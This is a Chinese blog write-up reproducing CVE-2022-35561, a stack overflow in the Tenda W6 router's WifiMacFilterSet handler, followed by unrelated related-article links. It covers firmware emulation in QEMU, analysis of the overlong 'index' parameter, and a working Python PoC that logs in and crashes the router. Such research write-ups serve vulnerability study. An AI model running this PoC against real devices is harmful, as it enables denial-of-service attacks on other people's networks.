【工业安全】-CVE-2022-35561- Tenda W6路由器 栈溢出漏洞

news2025/2/18 12:29:13

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析

 4.1:代码分析

 4.2:流量分析

5.poc代码:


 1.漏洞描述

漏洞编号:CVE-2022-35561

漏洞名称:Tenda W6 栈溢出漏洞

威胁等级:高危

漏洞详情:Tenda W6 /goform/WifiMacFilterSet存在栈溢出漏洞,攻击者可利用该漏洞通过index参数造成拒绝服务(DoS)

影响范围:固件版本 V1.0.0.9(4122)


2.环境搭建

qemu-user系统编译:创建qemu目录,下载qemu-2.5.0.tar.bz2:

https://download.qemu.org/qemu-2.5.0.tar.bz2

1.将下载后的qemu-2.5.0.tar.bz2解压。

2.查找目录linux-user。

3.给目录linux-user的elfload.c 文件中struct elfhdr *ehdr函数中添加&& ehdr->e_shentsize == sizeof(struct elf_shdr) 这个条件。

#配置qemu-user系统:

$./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --static --python=/usr/bin/python2.7

#编译qemu:

$make -j8

#安装qemu:

$sudo make install

安装成功。

3.漏洞复现

在/home/CVE-2022-35561目录下,用qemu-usr用户模式模拟,把固件模拟运行起来。

1.首先在CVE-2022-35555.py同级目录下,binwalk -eM 解压US_W6V1.0BR_V1.0.0.9(4122)_CN.bin文件。

2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令,查看下设备的cpu 架构。

命令:file ./bin/httpd

​可知Tenda W6路由器的httpd是基于MIPS 架构的 32 位小端序可执行文件。

3.给httpd文件可执行权限,命令:chmod +x tdhttpd

4.复制squashfs-root目录下的webroot_ro文件到webroot中

命令:

rm -rf webroot 

ln -s webroot_ro/ webroot

5.将user/local/bin目录下qemu-mipsel文件复制到squashfs-root目录,重命名为qemu-mipsel-static。

注意:如果安装过(或有其它原因)qemu-mipsel可能被重命名为qemu-usr-mipsel

执行模拟命令,sudo qemu-mipsel-static -L . ./bin/httpd

但是卡在这里了,在IDA里面看一下httpd,搜索 welcome,发现是因为有一个check_network检查。把两处“jalr $t9”改为 “li $v0,1”,就能通过检查。

具体修改时,先在 https://disasm.pro/ 上查一下汇编对应的十六进制:

6.将path 后的httpd 替换原来的文件。

重新给httpd文件可执行权限,进入squashfs-root目录,打开终端。

执行命令: sudo qemu-mipsel-static -L . ./bin/httpd

很长,请忽略。

直接看有用的部分:

路由器运行在80端口。

ifconfig

得到本机ip,在浏览器中访问:192.168.124.153:80

用户名和密码都保持为空,登录后获得如下界面:

Poc执行:

在PoC_repo目录下打开终端,命令:python3.8 MSF_IOT.py

show exploits

use CVE-2022-35561

ip:192.168.124.153

端口:80

run

因受到攻击网页无法访问,漏洞执行成功

4.漏洞分析

4.1:代码分析

使用 binwalk -e 解包固件,获得文件以备后续分析:

根据漏洞通告/goform/WifiMacFilterSet请求会触发漏洞,查找可执行文件httpd。

可知httpd位于:

_US_W6V1.0BR_V1.0.0.9(4122)_CN.bin.extracted/squashfs-root/bin/httpd

在ida中查找函数:WifiMacFilterSet

sprintf 函数的格式化字符串中使用了 v10 的值。

v10是通过调用 websGetVar 函数获取到的名为 "index" 变量的值。

函数的第一个参数 a1 表示 HTTP 请求句柄,第二个参数 "index" 是需要获取的变量的名称,第三个参数 "0" 则是变量的默认值,当名为 "index" 的变量不存在时,将返回一个字符串 "0"。

"wl2g.ssid" 和 "." 固定占用10字节。

v10 实际可用空间为 32 -10-1 = 21(减去1是因为字符串需要一个空终止符 '\0')。

但是这里没有对 v10 的长度进行检查和限制,就可能导致 sprintf 函数将一个较长的字符串写入 v12 中,覆盖掉其他数据,造成栈溢出漏洞。

故我们可以构造:

http://<ip router>/goform/WifiMacFilterSet+"index="+超长字符串 覆盖掉其他数据,造成溢出。

4.2:流量分析 

5.poc代码:

代码复现时环境ip为 192.168.241.131

import requests
from pwn import *

burp0_url = "http://192.168.241.131/login/Auth"
burp0_headers = {"Host":"192.168.241.131",
"Content-Length":"65",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}

data0 = 'usertype=admin&password=&time=2023;5;31;19;51;6&username='
requests.post(burp0_url,headers=burp0_headers,data=data0, verify=False,timeout=1)


burp1_url = "http://192.168.241.131/goform/WifiMacFilterSet"
burp1_headers = {"Host":"192.168.241.131",
"Content-Length":"295",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}

data1="index="+'a'*0x300

requests.post(burp1_url,headers=burp1_headers,data=data1, verify=False,timeout=1)

实现了两个HTTP POST请求,第一个用来登录,第二个用来执行漏洞利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2297811.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【GRPO】GRPO原理原文翻译

论文&#xff1a;DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models 注&#xff01;这里我仅仅翻译GRPO部分供学习使用。其他部分请去看原文。 4. 强化学习&#xff08;Reinforcement Learning&#xff09; 4.1. 群组相对策略优化&#xf…

侯捷 C++ 课程学习笔记:C++ 新标准 11/14 的革新与实战应用

在侯捷老师的 C 系列课程中&#xff0c;《C 新标准 11/14》这门课程让我对现代 C 编程有了全新的认识。C11 和 C14 是 C 语言发展史上的重要里程碑&#xff0c;它们引入了大量新特性&#xff0c;极大地提升了语言的表达能力和开发效率。侯捷老师通过深入浅出的讲解和丰富的实战…

拉取Openwrt官方源码 编译固件速通

Openwrt 24.10上星期出了&#xff0c;但是恩山没几个人更新&#xff0c;自己编译一个&#xff0c;记录一下方法。 一切从简&#xff0c;不添加任何插件&#xff0c;资源扔恩山了。 【   】红米AX6000 openwrt V24.10.0 uboot大分区固件-小米无线路由器及小米网络设备-恩山无…

大模型Deepseek的使用_基于阿里云百炼和Chatbox

目录 前言1. 云服务商2. ChatBox参考 前言 上篇博文中探索了&#xff08;本地&#xff09;部署大语言模型&#xff0c;适合微调、数据高隐私性等场景。随着Deepseek-R1的发布&#xff0c;大语言模型的可及性得到极大提升&#xff0c;应用场景不断增加&#xff0c;对高可用的方…

DeepSeek 本地部署(电脑安装)

1.先安装Ollama 开源框架 网址链接为:Ollama 2.点中间的下载 3.选系统 4.下载好就安装 5.输入命令ollama -v 6.点击Model 7.选如下 8.选版本 9.复杂对应命令 10.控制台粘贴下载 11.就可以问问题啦 12.配置UI界面(在扩展里面输入) 13.配置完即可打开 14.选择刚才安装的就好啦…

【论文笔记】ZeroGS:扩展Spann3R+GS+pose估计

spann3r是利用dust3r做了增量式的点云重建&#xff0c;这里zeroGS在前者的基础上&#xff0c;进行了增量式的GS重建以及进行了pose的联合优化&#xff0c;这是一篇dust3r与GS结合的具有启发意义的工作。 abstract NeRF和3DGS是重建和渲染逼真图像的流行技术。然而&#xff0c;…

《Python 中 JSON 的魔法秘籍:从入门到精通的进阶指南》

在当今数字化时代&#xff0c;网络编程无处不在&#xff0c;数据的高效传输与交互是其核心。JSON 作为一种轻量级的数据交换格式&#xff0c;凭借其简洁、易读、跨语言的特性&#xff0c;成为网络编程中数据传输与存储的关键技术。无论是前后端数据交互&#xff0c;还是不同系统…

【漫话机器学习系列】091.置信区间(Confidence Intervals)

置信区间&#xff08;Confidence Intervals&#xff09;详解 1. 引言 在统计学和数据分析中&#xff0c;我们通常希望通过样本数据来估计总体参数。然而&#xff0c;由于抽样的随机性&#xff0c;我们不可能得到精确的总体参数&#xff0c;而只能通过估计值&#xff08;如均值…

回归预测 | Matlab实现PSO-HKELM粒子群算法优化混合核极限学习机多变量回归预测

回归预测 | Matlab实现PSO-HKELM粒子群算法优化混合核极限学习机多变量回归预测 目录 回归预测 | Matlab实现PSO-HKELM粒子群算法优化混合核极限学习机多变量回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.回归预测 | Matlab实现PSO-HKELM粒子群算法优化混合核…

QTreeView添加网格线

一.效果 二.实现 网格线虽然可以用样式表添加,但效果不好。这里重写QTreeView的drawRow函数来实现网格线的绘制。 void QHTreeView::drawRow(QPainter *painter, const QStyleOptionViewItem &option, const QModelIndex &index) const {QTreeView::drawRow(painter…

Golang的多团队协作编程模式与实践经验

Golang的多团队协作编程模式与实践经验 一、多团队协作编程模式概述 在软件开发领域&#xff0c;多团队协作编程是一种常见的工作模式。特别是对于大型项目来说&#xff0c;不同团队间需要协同合作&#xff0c;共同完成复杂的任务。Golang作为一种高效、并发性强的编程语言&…

AI前端开发的学习成本与回报——效率革命的曙光

近年来&#xff0c;人工智能技术飞速发展&#xff0c;深刻地改变着各行各业。在软件开发领域&#xff0c;AI写代码工具的出现更是掀起了一场效率革命。AI前端开发&#xff0c;作为人工智能技术与前端开发技术的完美结合&#xff0c;正展现出巨大的发展潜力&#xff0c;为开发者…

[创业之路-297]:经济周期与股市、行业的关系

目录 一、经济周期的种类 1、短周期&#xff08;基钦周期&#xff09; 2、中周期&#xff08;朱格拉周期&#xff09; 3、长周期&#xff08;康德拉季耶夫周期&#xff09; 当下处于康波周期的哪个阶段&#xff1f; 4、建筑周期&#xff08;库涅茨周期&#xff09; 二、…

Dav_笔记14:优化程序提示 HINTs -3

查询转换的提示 以下每个提示都指示优化程序使用特定的SQL查询转换&#xff1a; ■NO_QUERY_TRANSFORMATION ■USE_CONCAT ■NO_EXPAND ■REWRITE和NO_REWRITE ■MERGE和NO_MERGE ■STAR_TRANSFORMATION和NO_STAR_TRANSFORMATION ■事实和NO_FACT ■UNNEST和NO_UNNEST…

递归乘法算法

文章目录 递归乘法题目链接题目详解解题思路&#xff1a;代码实现&#xff1a; 结语 欢迎大家阅读我的博客&#xff0c;给生活加点impetus&#xff01;&#xff01; 让我们进入《题海探骊》&#xff0c;感受算法之美&#xff01;&#xff01; 递归乘法 题目链接 在线OJ 题目…

从当下到未来:蓝耘平台和 DeepSeek 应用实践的路径探索,勾勒 AI 未来新蓝图

我的个人主页 我的专栏&#xff1a;人工智能领域&#xff0c;希望能帮助到大家&#xff01;&#xff01;&#xff01;点赞&#x1f44d;收藏❤ 引言&#xff1a;AI 浪潮中的双引擎 在人工智能蓬勃发展的时代&#xff0c;蓝耘平台与 DeepSeek 宛如推动这一浪潮前进的双引擎。…

Leetcode 算法题 9 回文数

起因&#xff0c; 目的: 数学法。 % 求余数&#xff0c; 拆开组合&#xff0c;组合拆开。 这个题&#xff0c;翻来覆去&#xff0c;拆开组合&#xff0c; 组合拆开。构建的过程。 题目来源&#xff0c;9 回文数&#xff1a; https://leetcode.cn/problems/palindrome-number…

docker compose部署flink集群

本次部署2个jobmanager和3个taskmanager 一、部署zookeeper集群 flink使用zookeeper用作高可用 部署集群参考&#xff1a;docker compose部署zookeeper集群-CSDN博客 二、创建目录及配置文件 创建timezone文件&#xff0c;内容填写Asia/Shanghai 手动创建目录&#xff1a…

常用架构图:业务架构、产品架构、系统架构、数据架构、技术架构、应用架构、功能架构及信息架构

文章目录 引言常见的架构图I 业务架构图-案例模块功能说明1. 用户界面层 (UI)2. 应用服务层3. 数据管理层4. 基础设施层业务流程图示例技术实现II 功能架构图 -案例功能模块说明1. 船舶监控模块2. 报警管理模块3. 应急响应模块4. 通信管理模块5. 数据分析模块数据管理层基础设施…

AI前端开发:解放创造力,而非取代它

近年来&#xff0c;人工智能技术飞速发展&#xff0c;深刻地改变着各行各业&#xff0c;前端开发领域也不例外。越来越多的AI写代码工具涌现&#xff0c;为开发者带来了前所未有的效率提升。很多人担心AI会取代程序员的创造力&#xff0c;但事实并非如此。本文将探讨AI辅助前端…